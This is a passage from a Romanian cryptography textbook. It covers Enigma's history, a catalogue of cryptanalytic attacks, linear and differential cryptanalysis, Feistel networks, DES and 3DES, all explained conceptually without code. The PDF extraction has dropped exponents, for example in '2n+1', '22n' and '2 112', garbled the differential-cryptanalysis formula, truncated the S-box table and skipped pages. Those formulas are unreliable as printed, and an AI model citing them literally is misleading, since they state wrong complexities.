Primele spargeri ale maşinii Enigma au avut loc la începutul anilor 30 de către
matematicienii polonezi Alicen Rejewski, Jerzy Rozycki şi Henryk Zygalsk. Cu noroc şi intuiţie
Rejewski şi echipa lui au reuşit să compromită maşina, totul fiind posibil nu datorită vreunei
”scăpări” în proiectarea maşinii ci deciziei nemţilor de a transmite repetitiv (de 2 ori) cheia.
23
Ulterior Enigma a fost perfecţionată, spargerea ei devenind practic imposibilă pentru acele
timpuri. Un aport considerabil în direcţia spargerii acestei maşini a avut Alan Turing, care
proiectase o maşină electromecanică (denumită „Bombe” după modelul original polonez) ce putea
ajuta la spargerea maşinii Enigma mai rapid decât „bomba” din 1932 a lui Rejewski, din care s-a şi
inspirat. „Bombe” (figura 5.11), cu o îmbunătăţire sugerată de matematicianul Gordon Welchman, a
devenit una din principalele unelte automate utilizate pentru a ataca traficul de mesaje protejat de
Enigma.
24
Figura 5.11. Maşina BOMBE (Alan Turing)
Atacurile încununate de succes asupra maşinilor cu rotor au fost posibile numai la începutul
anilor 40 odată cu apariţia maşinilor electronice de calcul. Tot în această perioadă criptografia
devine ştiinţific ramură aparte a matematicii odată cu publicarea (anul 1949) articolului lui Claude
Elwood Shannon2 „Communication Theory of Secrecy Systems”, care a pus bazele ştiinţifice ale
sistemelor de criptare cu cheie secretă (sistemelor simetrice).
2
Claude Elwood Shannon (30 aprilie 1916 - 24 februarie 2001) a fost un matematician american, inginer
electrotehnist și criptograf cunoscut sub numele de „tatăl teoriei informației”.
25
sunt greu de detectat pentru că datele nu sunt alterate;
măsurile ce pot fi luate pentru evitarea acestor atacuri sunt acelea care fac
criptanaliza extrem de grea, dacă nu imposibilă;
este necesară prevenirea şi nu detecţia lor.
Atacurile active sunt atacuri în care intrusul are o intervenţie activă atât în desfăşurarea
normală a traficului, cât şi în configurarea datelor (modificarea datelor, crearea unor date false).
Dintre atacurile active se regăsesc:
întreruperea serviciului;
modificarea;
modificări în program astfel încât acesta va lucra diferit;
modificarea conţinutului mesajelor transmise în reţea;
fabricarea: un neavizat inserează informaţii false în sistem.
Atacurilor active pot fi caracterizate prin faptul că deşi pot fi detectate, prevenirea lor este
foarte grea, deoarece ar însemna protecţie fizică permanentă a întregului sistem.
Atacurile amintite mai sus sunt, în principiu, atacuri mai generale, nu neapărat specifice
exclusiv algoritmilor criptografici, iar o analiză mai detaliată a unora dintre ele va fi făcută în
compartimentul 9.
Atacurile specifice algoritmilor criptografice sunt atacurile de criptanaliză.
Criptanaliza este ştiinţa spargerii cifrurilor şi se ocupă de obţinerea valorii iniţiale a
informaţiei criptate fără a avea acces la informaţia secretă, adică la cheia necesară pentru acest
lucru. Persoana care se ocupă cu criptanaliza se numeşte criptanalist. Atacul criptografic bazat pe
metode de criptanaliză se mai numește atac criptanalitic.
Analiza criptografică studiază metode de atac pornind de la informaţii minimale despre
cheile de criptare, algoritmii utilizați, protocoalele de autentificare, segmente de text clar şi
segmentele corespondente din textul criptat, sau doar pe baza unuia sau a unui set de texte criptate
utilizând același algoritm.
Scopul metodelor de criptanaliză este descoperirea mesajelor în clar şi/sau a cheii
din mesajul criptat. Orice cifru este creat în scopul de a asigura confidențialitatea informației
protejate și, reieșind din acest concept, întotdeauna se vor găsi oameni care doresc să obţină accesul
la informaţia dată. În esență, se încearcă determinarea unui punct vulnerabil al algoritmului, care să
poată fi exploatat folosind metode pentru care timpul de căutare să fie considerabil mai mic decât
timpul necesar verificării tuturor combinațiilor de chei posibile (atac cu forţa brută).
Nu există încă un sistem criptografic despre care să se poată afirma că este pe deplin sigur,
dar pot fi considerate sigure acele criptosisteme pentru care atacurile cunoscute necesită un timp
mult prea îndelungat pentru a putea fi considerate practice.
26
5.4.2. Tipuri de atacuri criptografice
Se cunosc mai multe tipuri de atacuri criptografice. O categorie aparte sunt atacurile ce se
realizează prin forţă brută (brute force), adică aplică o metodă exhaustivă de căutare prin încercarea
tuturor combinaţiilor posibile fie de chei de criptare, fie de simboluri din text pentru deducerea
textului în clar (de exemplu, la metodele de criptare prin substituţia sau transpoziţia literelor din
mesaje de tip text). Complexitatea acestui atac este în funcţie de cantitatea tuturor variantelor
posibile.
Acest tip de atac este unul general, adică poate fi aplicat la orice algoritm de criptare. Din
acest motiv în elaborarea sistemelor de criptare autorii încearcă să obţină ca acest atac să fie cel mai
eficient, comparativ cu celelalte metode de spargere. Sistemul se proiectează astfel încât forţa brută
să aibă un spaţiu al soluţiilor suficient de voluminos pentru ca rezultatul aplicării forţei brute să nu
fie obţinut pe parcursul a câtorva ani, sau uneori şi secole.
În baza complexităţii aplicării forţei brute se face evaluarea securităţii sistemului. În
particular, cifrul se consideră sigur dacă nu există o metodă de spargere semnificativ mai rapidă
decât forţa brută.
Atacurile criptografice bazate pe forţa brută sunt cele mai universale, dar şi cele mai
îndelungate. În legătură cu aceasta există deja şi se mai elaborează încontinuu posibilităţi de
optimizare a metodei forţei brute. Printre aceste metode optimizate se numără următoarele:
metoda ramifică şi mărgineşte (branch and bound method);
metoda calculelor paralele (parallel calculation method).
Metoda ramifică şi mărgineşte reprezintă un algoritm de căutare a soluţiilor optime pentru
diverse probleme. Esenţa lui constă în separarea submulţimii de soluţii admisibile care nu conţine
soluţii optime. Metoda a fost propusă pentru prima dată de către A. H. Land şi A. G. Doig în 1960
pentru programarea discretă.
Calculul paralel este execuția în paralel pe mai multe procesoare a acelorași instrucțiuni, sau
și a unor instrucțiuni diferite, cu scopul rezolvării mai rapide a unei probleme, de obicei special
adaptată sau subdivizată. Ideea de bază aici constă în divizarea mulţimii soluţiilor în N submulţimi,
fiecare din ele fiind mult mai „mică” decât originalul, astfel realizarea „forţei brute” va necesita de
n ori mai puţin timp, în funcţie de numărul de submulţimi ale partiţiei făcute. Problema
fundamentală aici constă în determinarea şi divizarea mulţimii soluţiilor. „Forţa brută” se aplică
până când un procesor nu a găsit soluţia (cheia) necesară.
De rând cu forţa brută se mai aplică şi metodele statistice de atac. Aceste metode se
divizează în două subcategorii:
metode de criptanaliză a proprietăţilor statistice ale gamei de criptare;
metode de criptanaliza a complexităţii şirului.
27
Prima subcategorie studiază şirurile la ieşirea algoritmilor de criptare. În acest caz
criptanalistul cu ajutorul diverselor teste statistice încearcă să găsească valoarea următorului bit al
şirului cu o probabilitate mai mare decât probabilitatea alegerii aleatoare.
În cazul al doilea criptanalistul încearcă să genereze şiruri analogice cu gama însă aplicând
metode mult mai simple.
Din diversitatea de tipuri şi metode de atac criptografic, demonstrate, verificate şi aplicate de
matematicieni, informaticieni și criptanaliști trebuie menţionate atacurile cu text clar sau text cifrat:
Atac cu text cifrat (ciphertext-only attack) interceptat, prin analiza căruia se încearcă găsirea
textului original sau a cheii de criptare. Acest atac se bazează pe informaţii referitoare la
secvenţe de text cifrat și este una dintre cele mai dificile metode criptografice din cauza
informaţiei sumare pe baza căreia trebuie să se deducă informaţii referitoare la textul clar
sau la chei.
Atac cu text clar cunoscut (known plaintext attack), este un atac în care criptanalistul are
acces nu doar la textul cifrat, ci şi la textul clar corespunzător. El încearcă să descopere o
corelație între cele două pentru a găsi cheia de criptare sau pentru a crea un algoritm care îi
va permite să descifreze orice mesaje criptate cu această cheie. Textele în clar necesare
pentru acest atac pot fi obţinute prin diverse metode, de exemplu dacă se cunoaşte că se
trimite un fişier cifrat cu un nume ştiut, atunci din extensia fişierului se pot face concluzii
despre conţinutul anumitor fragmente ale fişierelor, de exemplu a heeder-ului. Acest atac
este mai puternic decât atacul cu text cifrat.
Atac cu text cifrat ales (chosen ciphertext attack), este un atac în care criptanalistul alege un
text cifrat și încearcă să găsească textul clar potrivit. Acest lucru se poate face cu o
decriptare oracul (o mașină care decriptează fără a demasca cheia). Atacul este aplicat la
criptarea cu cheie publică – se începe cu un text cifrat și căutări de potrivire de date ale
textului clar postate public.
Atac cu text clar ales (chosen plaintext attack), este un atac în care criptanalistul poate cripta
un text clar la alegerea sa și studia textul cifrat rezultat. Scopul criptanalistului este acelaşi
ca la atacul cu text clar cunoscut: de a afla cheia de criptare sau de a găsi o altă metodă
pentru descifrarea mesajelor cifrate cu aceeaşi cheie. Însă criptanalistul trebuie să mai aibă
posibilitatea de a alege câteva texte în clar şi să obţină rezultatul cifrării lor. Obţinerea
textului cifrat respectiv pentru textul clar dat uneori se poate face prin crearea şi transmiterea
unui mesaj necifrat în numele unuia din utilizatorii care folosesc criptarea. În cazul
coincidenţii unor factori acest mesaj poate fi cifrat şi retransmis înapoi. Acest atac este cel
mai des utilizat în criptografia asimetrică, în cazul în care criptanalistul are acces la o cheie
publică.
28
Atac cu text clar ales adaptiv (adaptive chosen plaintext attack), este un caz particular, mai
confortabil, al atacului cu text clar ales. Confortul atacului constă în faptul că pe lângă
posibilitatea alegerii textului clar, criptanalistul poate lua decizia de a cifra un oarecare text
clar în baza operaţiilor de cifrare deja efectuate. Cu alte cuvinte la realizarea atacului cu text
clar ales criptanalistul alege doar un bloc mare al textului clar pentru a fi cifrat şi apoi, în
baza datelor obţinute începe spargerea sistemului. În cazul organizării atacului cu text clar
ales adaptiv criptanalistul poate obţine rezultatul cifrării oricărui bloc al textului clar pentru
a acumula datele care îl interesează şi care vor fi luate în seamă la alegerea ulterioară a
blocurilor textului clar etc. Anume adaptivitatea (posibilitatea feedback-ului) îi dă un avantaj
atacului cu text clar ales adaptiv.
Atac cu text cifrat ales adaptiv (Adaptive Chosen Ciphertext Attack), este un atac analogic
atacului cu text clar ales adaptiv.
În continuare vom menţiona alte tipuri şi metode de tac utilizate în prezent.
Atacul de tip dicţionar (dictionary attack) este o metodă criptanalitică în care atacatorul
pregăteşte și memorează un tabel cu corespondenţe text clar - text criptat de tipul perechilor
(PiCi=EKi(P), Ki) sortate după Ci. Ulterior, atacatorul monitorizează comunicaţia şi în momentul în
care va găsi un text criptat Cj care se regăseşte în tabelul său va găsi imediat cheia de criptare K j.
Atacul zilei de naştere (Birthday attack), se bazează pe cunoscutul paradox al „zilei de
naştere” şi a variantelor sale (într-un grup de 23 de persoane, probabilitatea să existe două dintre ele
născute în aceeaşi zi din an este peste 0,5; în general, într-un grup de k numere aleatoare având k
valori posibile, probabilitatea ca cel puţin două să fie egale este în jur de 0,5). Problema poate fi
astfel generalizată: dacă o funcţie f: A → B poate lua oricare din cele n valori din mulţimea B cu
probabilităţi egale, atunci după calculul funcţiei pentru n valori diferite este foarte posibil să
găsim o pereche de valori x1 și x2 astfel încât f(x1) = f(x2). Evenimentul reprezintă o coliziune, iar
pentru funcţii cu distribuție impară, coliziunea poate apărea şi mai devreme. Semnătura digitală este
susceptibilă de a fi supusă unui astfel de atac.
Atac cu întâlnire la mijloc (Meet-in-the-middle attack) este similar cu atacul zilei de naştere,
cu excepţia faptului că în acest caz analistul are o flexibilitate mai mare. În loc să aştepte
coincidenţa a două valori într-o singură mulţime de date, analistul poate căuta o intersecţie a două
mulţimi.
Presupunem că atacatorul cunoaşte o mulţime de texte în clar P și texte criptate C cu cheile
k1 și k2. Atunci el poate calcula EK(P) pentru toate cheile posibile K și să memoreze rezultatele, apoi
poate calcula DK(C) pentru fiecare K şi să compare cu rezultatele memorate - dacă va găsi o
coincidenţă este ca și cum ar fi găsit cele două chei şi poate verifica direct pe textul în clar şi cel
29
criptat. Dacă dimensiunea cheii este n, atacul va folosi doar 2n+1 criptări în contrast cu un atac
clasic, care ar avea nevoie de 22n criptări.
Atacul omului din mijloc (Man-in-the-middle attack) descrie situaţia când un atacator are
posibilitatea să citească şi să modifice mesajele schimbate între doi corespondenţi fără ca cele două
părţi să sesizeze faptul că metoda de comunicare între ei a fost compromisă.
Atacul începe de obicei cu ascultarea canalului şi se termină cu încercarea criptanalistului de
a înlocui mesajul interceptat, extragerea informaţiilor utile din el, redirecţionarea mesajului la unele
resurse externe. Fie că subiectul A planifică transmiterea spre subiectul B a unei informaţii oarecare.
Subiectul C posedă cunoştinţe despre structura şi proprietăţile metodei de transmitere a datelor,
precum şi a însuşi faptului transmiterii acelei informaţii pe care intenţionează să o intercepteze (de
exemplu cheia privată). Pentru săvârşirea atacului C se „prezintă” lui A drept B, iar lui B drept A.
Subiectul A consideră eronat că transmite informaţia lui B şi o trimite lui C, care la rândul său
efectuează unele operaţii cu ea (o copiază sau o modifică în scopuri personale) şi o transmite lui B.
Ultimul consideră că informaţia a fost primită direct de la A.
Posibilitatea unui astfel de atac rămâne o problemă serioasă pentru sistemele bazate pe chei
publice.
Atacul în reluare (replay attack) este un atac în care atacatorul memorează o sesiune de
comunicare în ambele sensuri (mesajele schimbate de ambii corespondenţi) sau bucăţi din sesiune.
Ideea atacului nu este de a decripta o sesiune de comunicare, ci de a crea confuzii şi mesaje false.
Atacul cu chei relaţionate (related keys attack). În acest caz atacatorul descoperă o relaţie
între un set de chei și are acces la funcţiile de criptare cu astfel de chei relaţionate. Scopul declarat
este de a găsi chiar cheile de criptare. Algoritmi ca IDEA, GOST, RC2 și TEA au prezentat
slăbiciuni când au fost supuse atacului.
Atacul prin alunecare (slide attack) poate fi văzut ca o variantă a atacului cu chei relaţionate
în care relaţiile sunt definite pe aceeaşi cheie. Atacul este eficient în cazul unor procese iterative sau
recursive (algoritmi simetrici de tip şir sau bloc) care prezintă grade de similitudine între cicluri
succesive ale procesului iterativ. Complexitatea atacului este independentă de numărul de cicluri ai
algoritmului. Slăbiciuni în cazul acestui atac au fost relevate în algoritmul Feistel și chiar în cazul
SHA-1.
Atacul de corelaţie (correlation attack) se efectuează asupra generatorului de filtrare din
cifrurile şir bazate pe generatoare de tip LFSR (Linear Feedback Shift Register, mai detaliat despre
LSFR vezi în compartimentul 6), în două faze: întâi se determină o funcţie între şirul de biţi cheie
generat şi biţii registrului de deplasare, după care șirul de chei este interpretat ca o versiune afectată
de zgomot a şirului generat de LFSR.
30
Atacul de corelaţie rapidă (fast correlation attack) se aplică generatoarelor de chei bazate pe
LFSR, ca şi atacul de corelaţie, dar sunt mai rapide și exploatează existenţa unei corelaţii între şirul
de chei şi ieşirea unui LFSR, numit LFSR ţintă, a cărui stare iniţială depinde de anumiţi biţi ai cheii
secrete.
Atacurile de corelaţie rapidă evită examinarea tuturor iniţializărilor posibile ale LFSR-ului
ţintă folosind anumite tehnici eficiente de corectare a erorii. Astfel, descoperirea stării iniţiale a
LFSR-ului constă în decodarea subşirului de chei relativ la codul FSR-ului.
Atacul prin interpolare (interpolation attack) este o tehnică de atac asupra cifrurilor
simetrice bloc construite din funcţii algebrice simple. Dacă textul criptat este scris ca un polinom,
funcţie de elementele textului clar şi gradul polinomului este suficient de mic, atunci un număr
limitat de perechi de text clar/criptat sunt suficiente pentru determinarea funcţiei de criptare. Acest
lucru permite atacatorului să cripteze sau să decripteze blocuri de date fără a recupera propriu zis
cheia de criptare. Atacul a fost introdus în 1997 şi aplicat prima dată pe o variantă a algoritmului
SHARK, un predecesor al algoritmului Rijndael, care stă la baza standardului AES. Acest tip de
atac poate fi generalizat, astfel că ideea interpolării poate fi aplicată şi în cazul unor polinoame
probabilistice.
Atacul „divide și cucereşte” (divide and conquer attack). Atacurile din această categorie
încearcă diviziunea cheilor în bucăţi mai mici, pentru a face posibilă căutarea exhaustivă. Acest tip
de atac este eficient în măsura în care este posibil să determinăm bucăţi separate din chei. Problema
constă în validarea sau invalidarea unui segment de cheie, fără a avea informaţii despre restul cheii.
Atacul temporal (timing attack). Durata de execuţie a unui echipament hardware de criptare
poate furniza informaţii despre parametrii implicaţi astfel încât analiza atentă şi măsurarea timpului
de execuţie poate duce, în anumite condiții, la recuperarea cheilor secrete. Pentru a putea realiza un
astfel de atac, atacatorul are nevoie de un set de mesaje împreună cu durata lor de procesare pe
echipamentul criptografic. Metodele de măsurare a timpului sunt diverse: monitorizarea activităţii
procesorului, măsurarea timpului într-o secvenţă de interogare/răspuns etc. Atacul a fost aplicat
algoritmilor RSA și RC5, dar şi unor protocoale de Internet de tipul SSL.
5.4.3. Criptanaliza liniară și diferențială
În continuare sunt expuse două tehnici de criptanaliză - criptanaliza liniară şi criptanaliza
diferenţială - care la momentul actual sunt unele dintre cele mai răspândite metode de spargere a
cifrurilor bloc.
Criptanaliza liniară (linear cryptanalisis) este o tehnică introdusă de Matsui si Yamagishi în
1991 (A new Method for known plain text attack of FEAL cipher) care încearcă să exploateze
apariţiile cu probabilitate mare ale expresiilor liniare ce implică biţi de text clar, biţi de text criptat
şi biţi ai subcheilor. În acest caz se presupune că atacatorul cunoaşte un set aleator de texte clare,
31
precum și textele criptate corespunzătoare. Se aplică algoritmilor simetrici, de tip bloc și a fost
utilizată cu succes în criptanaliza algoritmului DES – precedentul standard decriptare simetrică în
SUA. Sunt elaborate atacuri pentru cifrurile bloc şi cele de tip flux. Descoperirea criptanalizei
liniare a constituit un imbold pentru elaborarea noilor scheme de criptare.
Criptanaliza liniară este o tehnică prin care se urmăreşte construcţia unui sistem de ecuaţii
liniare între biţii textului clar, ai textului cifrat şi ai cheii. Rezolvarea acestui sistem de ecuaţii duce
la aflarea cheii de cifrare. Sistemul de ecuaţii ce se construieşte poate fi chiar un sistem probabilist,
în sensul că o ecuaţie este verificată cu o anumită probabilitate.
Criptanaliza se face în două etape. Prima - construirea relațiilor dintre textul clar, textul
cifrat și cheie, care sunt adevărate cu o probabilitate mare. A doua - utilizarea acestor relații,
împreună cu perechile cunoscute de text clar şi text cifrat pentru obţinerea biților cheii.
La momentul actual pentru orice cifru nou este necesar de demonstrat că el este rezistent la
criptanaliza liniară.
Criptanaliza diferenţială (diferential cryptanalysis) este o tehnică introdusa de Biham şi
Schamir prima dată în 1991 și concretizată în „Diferential Cryptanalysis of the Data Encryption
Standard” publicat în 1993. Tehnica face parte din categoria atacurilor cu text clar ales. În general
fiind dată perechea ( D, D), numită caracteristică, tehnica constă în generarea de texte clare (P1, P2)
cu D = P1 – P2 astfel încât D C1 – C2 şi aflarea unei părţi a cheii, restul fiind căutată exhaustiv.
Operația „–” este operaţia de grup care, spre exemplu în cazul cifrurilor bloc, constă în adunarea
cheii de runda.
Criptanaliza diferenţială exploatează apariţiile cu mare probabilitate a diferenţelor din
textele clare, precum și a diferenţelor apărute în ultimul ciclu al criptorului în care atacatorul poate
selecta intrările și examina ieşirile în încercarea de a deduce cheia.
În final trebuie de subliniat că la elaborarea sistemelor de criptare trebuie să fie luate în
considerare performanţele criptanalizei pentru a diminua riscurile posibile.
Obiectivele temei:
Introducere de în criptarea cu cheie secretă.
Analiza algoritmilor de criptare de tip bloc
Studiul algoritmilor simetrici de criptare de tip şir.
Cuvinte-cheie:
criptare cu cheie secretă, cheie fluidă,
cifru bloc, cifruri sincrone,
cutii S, cutii P, cifruri asincrone,
cifrul Feistel, registre de deplasare cu
algoritmii de criptare feedback,
DES, AES, algoritmii de criptare
generarea cheii, Seal, A5, RC4.
cifruri stream,
Era ştiinţifică a criptografiei a început odată cu publicarea în anul 1949 a articolului lui
Claude Elwood Shannon (fondatorul teoriei informaţiei, 30.04.1916 – 24.02.2001) „Communication
Theory of Secrecy Systems”. Începând cu acest moment criptografia devine ştiinţific ramură aparte a
matematicii, iar articolul lui Shannon a pus bazele ştiinţifice ale sistemelor de criptare cu cheie
secretă (sisteme simetrice de criptare).
Trebuie de menționat că în criptografia modernă, indiferent de tipul sistemului de criptare,
secretul cifrului se bazează pe păstrarea secretului cheii, și nu a algoritmului de criptare. Mai mult,
orice sistem de criptare poate fi spart, considerându-se „bun” acel sistem, costul resurselor pentru
spargerea căruia depășește valoarea informației criptate sau timpul cheltuit pentru spargere este prea
mare pentru ca informația obținută să mai fie utilă.
1
Figura 6.1. Schema algoritmului de criptare cu cheie secretă
Criptarea simetrică prezintă avantajul rapidităţii cu care sunt realizate procesele de
criptare/decriptare a mesajelor. Succesul sistemului se bazează pe dimensiunea cheii, care astăzi se
consideră sigură dacă are nu mai puțin de 128 biţi. Cele trei caracteristici ale criptării simetrice sunt
siguranţa, rapiditatea şi volumul mare de date criptate.
Principalul dezavantaj al algoritmilor simetrici constă în faptul că impun un schimb de chei
private înainte de a se începe transmisia de date. Altfel spus, pentru a putea fi utilizat un algoritm
simetric de criptare, este necesar un canal protejat pentru a transmite cheile de criptare/decriptare
sau pot fi utilizați alți algoritmi de criptare pentru a realiza schimbul de chei.
Criptografia simetrică modernă utilizează în principiu aceiaşi algoritmi ca şi criptografia
tradiţională (transpoziţia şi substituţia), dar accentul cade pe complexitatea lor. Obiectivul
criptografic din actuala perioadă este de a concepe algoritmi de criptare atât de complecşi şi de
ireversibili încât atacatorul (sau criptanalistul), chiar şi în situaţia în care are la dispoziţie cantităţi
mari de text criptat la alegerea sa, să nu poată face nimic fără cheia secretă. Exemple de cifruri cu
cheie secretă sunt: LUCIFER, DES, IDEA, RC5, A5, HC-256, Rijndael, etc.
Algoritmii criptografici folosiţi în sistemele simetrice de criptare se împart în cifruri bloc
(block ciphers) şi cifruri flux (sau cifruri şir - stream ciphers). Cifrurile flux pot cripta un singur bit
de text clar la un moment dat, pe când cifrurile bloc criptează mai mulţi biţi (64, 128, 256 sau alt
număr de biţi) la un moment dat.
2
cunoscând un bloc de biţi ai textului clar şi cheia de criptare, sistemul să poată genera
rapid un bloc al textului criptat;
cunoscând un bloc de biţi ai textului criptat şi cheia de criptare/decriptare, sistemul să
poată genera rapid un bloc al textului clar;
cunoscând blocurile textului clar şi ale textului cifrat, să fie dificil să se genereze cheia.
1
Horst Feistel (30 ianuarie 1915 - 14 noiembrie 1990) - un cercetător-criptograf care a lucrat la dezvoltarea algoritmilor
de criptare la IBM, unul dintre fondatorii criptografiei moderne ca știință. A adus o mare contribuție la studiul
algoritmilor simetrici de criptare și a pus bazele pentru crearea algoritmului de criptare DES.
3
funcţii simple ne-lineare (numite si substituţii prin cutii S);
amestecul liniar (în sensul algebrei modulare) utilizând XOR.
Aceste operații, după cum a spus și Claude Shannon, creează „confuzie şi difuzie”.
Amestecarea de biţi creează difuzia, iar substituţia - confuzia. În criptografie confuzia se referă la a
face o relaţie între cheie şi textul cifrat cât de complex şi adânc posibil, iar difuzia este definită ca
proprietatea că redundanţa în statisticele textului clar este disipată în statisticele textului cifrat.
Difuzia este asociata cu dependenţa biţilor de la ieşire de biţii de la intrare. Într-un cifru cu o difuzie
perfecta, doar schimbarea unui bit de la intrare ar schimba întregul text, ceea ce se mai numeşte şi
SAC (Strict Avalanche Criterion). Feistel utilizează cutiile P (P-box sau Permutation-box) şi
amestecul liniar de biţi pentru a atinge o difuzie aproape perfectă şi se poate spune că îndeplineşte
condiţiile SAC.
Cutiile-S (S-box sau Substitution-box) au o importanţă fundamentală în funcţionarea schemei
Feistel. Acestea sunt de obicei folosite pentru a ascunde relaţia dintre cheie şi textul cifrat. În
general, o cutie S ia un număr m de biţi de intrare şi îi transformă într-un număr n de biţi de ieşire,
unde n nu e neapărat egal cu m. O cutie Sm×n poate fi implementată ca un tabel de 2m cuvinte de n
biţi fiecare. În mod normal sunt utilizate tabele fixe, la fel ca în Data Encryption Standard (DES),
dar în unele cifruri tabelele sunt generate dinamic din cheie (de exemplu, Blowfish, Twofish).
Un exemplu elocvent de tabel fix este tabelul de 6×4 - biţi al unei cutii S, și anume S5 din
DES (Tabelul 6.1):
Cei 4 biţi de mijloc ai intrării
S5
0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101
00 0010 1100 0100 0001 0111 1010 1011 0110 1000 0101 0011 1111 1101 0000
Biţii
01 1110 1011 0010 1100 0100 0111 1101 0001 0101 0000 1111 1010 0011 1001
exte-
10 0100 0010 0001 1011 1010 1101 0111 1000 1111 1001 1100 0101 0110 0011
riori
11 1011 1000 1100 0111 0001 1110 0010 1101 0110 1111 0000 1001 1010 0100
Tabelul 6.1. Cutia S5 din DES
Fiind dată o intrare de 6 biţi, ieşirea de 4 biţi este găsită prin selectarea liniei, folosind cei
doi biţi exteriori (primul şi ultimul bit), şi a coloanei, utilizând cei patru biţi interiori. De exemplu, o
intrare „011011” are biţii exteriori „01” şi biţii interiori „1101”; ieşirea corespunzătoare va fi
„1001”.
Cutiile de permutare P reprezintă o metodă de amestecare a biţilor, utilizată pentru a
permuta sau transpune biţii în intrările cutiilor S, menţinând difuzia în timpul transpunerii.
Reţele Feistel au fost introduse pentru prima dată, în domeniul comercial, în cifrul Lucifer
de la IBM care a fost conceput de însuşi Feistel şi Don Coppersmith. Reţele Feistel au câştigat
respect atunci când guvernul SUA a adoptat standardul DES de criptare a datelor care, datorită
naturii iterative a construcţiei Feistel, face foarte simple implementările sistemului de criptare în
electronică.
4
Construcţia Feistel este utilizată şi în unii algoritmi care nu sunt cifruri pe blocuri. De
exemplu, Optimal Asymmetric Encryption Padding (OAEP) utilizează o reţea Feistel simplă pentru
a randomiza textele cifrate în unele scheme de cifrare asimetrică.
Dată fiind natura cifrului Feistel, textul cifrat sparge orice convenţie de caractere şi produce
numere ce corespund la caractere care nu există. De fapt orice tip de cifru care operează pe blocuri
de text sau pe biţi individuali nu avea cum să respecte standardul de caractere. Din această cauză se
utilizează la ieşire un codor pentru a reda textului cifrat proprietatea de lizibilitate şi implicit pentru
a putea fi transmis prin sistemele informatice.
DES a fost oficial adoptat ca standard federal la 23 noiembrie 1976, iar în 1977 specificaţiile
sale au fost făcute publice. Toate operațiile de transformare prezente în DES sunt definite în
specificațiile standardului publicat și nu prezintă o informație secretă. Algoritmul DES este o
combinaţie complexă, folosind substituţia şi permutarea (transpoziţia). Acest cifru bloc acceptă un
bloc de 64 de biţi la intrare şi generează un bloc cifrat de 64 de biţi. Algoritmul este constituit din
16 cicluri repetate (runde) ale blocurilor fundamentale. Textul iniţial este descompus în blocuri de
64 de biţi. Cheia este de 64 biţi din care doar 56 sunt efectivi, ceilalţi fiind biţi de paritate.
Algoritmul foloseşte numai operaţii aritmetice şi logice clasice cu un număr de până la 64 de
biţi, ceea ce face relativ uşor de implementat atât software cât mai ales hardware: unul din scopurile
5
declarate ale algoritmului fiind uşoara lui implementare hardware într-un cip specializat.
Parcurgerea celor 16 cicluri are loc după schemele din figurile 6.3 și 6.5.
Criptare Decriptare
Text clar Text cifrat Blocul R (32 biți) Cheia de rundă (48 biți)
48 biți
48 biți
32 biți
32 biți
La intrare datele sunt împărţite în blocuri de 64 biţi, care sunt transformate folosind cheia de
64 de biţi. Cei 64 de biţi sunt permutaţi prin „permutarea iniţială IP” și separați în două, „jumătatea
stângă L0” şi “jumătatea dreaptă R0”, fiecare de 32 de biţi. În continuare, urmează operaţiile ce
constituie un ciclu. Cheia este deplasată la stânga cu un număr de biţi şi permutată: ea se combină
cu “partea dreaptă” care apoi se combină cu “partea stângă”, iar rezultatul devine noua “parte
dreaptă”; vechea “parte dreaptă” devine noua “parte stângă”. După repetarea acestui ciclu de 16 ori
se face permutarea finală care este inversă permutării iniţiale, obținând forma binară a blocului
cifrat.
La fiecare ciclu practic au loc patru operaţii separate:
1. partea dreaptă este expandată de la 32 la 48 biţi (permutarea expandată E);
2. partea dreaptă este combinată cu cheia de rundă (operația XOR);
3. rezultatul este substituit şi condensat în 32 biţi (cutiile S);
4. cei 32 biţi sunt permutaţi (permutarea P) şi apoi combinaţi cu partea stângă (XOR)
pentru a da o nouă parte dreaptă.
Cheia de 64 biți este supusă unei permutări PC-1, devenind de 56 de biți, fiind excluși biții
de paritate. Apoi este împărţită în două părţi de 28 biţi fiecare, c0 și d0, deplasate la stânga cu un
6
număr specificat de biţi apoi reunite şi 48 din cei 56 de biţi sunt permutaţi (permutarea PC-2) şi
folosiţi ca o cheie de 48 de biţi (din totalul de 16 chei) de-a lungul ciclului (figura 6.5, b).
a) b)
Figura 6.5. a) Schema generală a algoritmului DES, b) Schema unei runde DES și generarea cheii
7
Odată ce DES a devenit vulnerabil au fost aprobate câteva versiuni mai sigure ale DES,
implementate pe aceleași platforme ca și DES simplu: 3DES, DES-X, RDES și altele.
DES multiplu. Când s-a descoperit că cheile pe 56 de biți folosite de DES nu sunt suficiente
pentru a proteja împotriva atacurilor „brute force”, au fost folosite variantele 2DES şi 3DES ca
modalităţi simple de a mări spațiul cheilor fără nevoia de a trece la un nou algoritm.
2DES constă în două acționări succesive ale algoritmului DES, cu două chei DES diferite
sau egale. Utilizarea sa este pur didactică deoarece este vulnerabilă la atacurile cu întâlnire la mijloc
(meet-in-the-middle attack). 2DES este exemplul cel mai des folosit pentru a demonstra viabilitatea
unui astfel de atac, dar valoarea sa practică este aproape de zero.
Utilizarea a trei pași este esențială pentru a evita atacurile cu întâlnire la mijloc, deoarece
textul cifrat rezultat este mult mai greu de spart folosind căutarea exhaustivă (forţa brută): 2 112
încercări în loc de 256 încercări.
Cea mai simplă variantă de 3DES funcționează astfel:
C = DES(k3; DES(k2; DES(k1; M))),
unde M este blocul în clar, iar k1, k2 şi k3 sunt cheile DES. Această variantă este cunoscută sub
notația EEE deoarece toate cele trei operațiuni efectuate cu cheile sunt criptări. Pentru a simplifica
interoperabilitatea între DES și 3DES, pasul din mijloc se înlocuiește de obicei cu decriptarea
(modul EDE):
C = DES(k3; DES –1(k2; DES(k1; M))),
și astfel o singură criptare DES cu cheia k poate fi reprezentată ca 3DES-EDE cu cheile k1=k2=k3=k.
Alegerea decriptării pentru pasul al doilea nu afectează securitatea algoritmului.
O variantă, numită 3DES cu două chei, folosește k1=k3, reducând astfel lungimea cheii la
112 biți și lungimea de stocare la 128 de biți. Totuși, acest mod de funcționare este susceptibil la
unele atacuri cu text clar ales sau text clar cunoscut și astfel este considerat de NIST 2 ca având
securitate echivalentă cu doar 80 de biți.
Pe 26 mai 2002, DES a fost înlocuit de AES, Advanced Encryption Standard, după o
competiție publică. Chiar și din 2004, DES încă a rămas folosit pe scară largă, iar pe 19 mai 2005,
el a fost retras oficial.
2
National Institute of Standards and Technology
8
AES trebuia să suporte chei de 128, 192 şi 256 biţi;
